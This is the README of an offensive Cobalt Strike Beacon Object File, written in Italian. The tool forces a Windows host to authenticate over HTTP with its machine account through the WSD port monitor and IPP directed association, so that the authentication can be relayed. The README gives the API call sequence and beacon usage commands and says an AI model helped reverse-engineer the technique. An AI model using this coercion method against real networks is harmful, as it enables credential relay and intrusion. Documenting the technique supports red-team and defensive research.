IPP Coercion BOF

Un Beacon Object File (BOF) che forza una macchina Windows ad autenticarsi tramite HTTP con il proprio account computer (HOSTNAME$), innescando un'associazione IPP diretta attraverso il monitor di porta WSD. Questa tecnica consente agli operatori di forzare e ritrasmettere l'autenticazione dell'account macchina su HTTP.

Testato su Windows 11 26H2.

Come funziona

Il BOF è stato realizzato tracciando printui.exe durante l'aggiunta di una stampante IPP, riducendolo all'insieme osservato di chiamate API (usando Claude Opus 5.5, Frida ed ETW). A livello generale, questo BOF esegue le seguenti operazioni:

1. Apre un handle di configurazione verso il monitor di porta WSD (OpenPrinterW(",XcvMonitor WSD Port"))
2. Chiama AssocIppDirected con l'URI fornito (XcvDataW)
3. Fa sì che lo spooler attivi DeviceAssociationService tramite RPC ed effettui la connessione in uscita

Utilizzo

Caricare coerce-ipp.cna in Cobalt Strike.

beacon> coerce-ipp <ip> <port>
beacon> coerce-ipp 127.0.0.1 8082

Riferimenti

• Microsoft Learn: MS-RPRN - specifica di AssocIppDirected (APMON XcvData)
• Microsoft Learn: Add-Printer - individuazione IPP diretta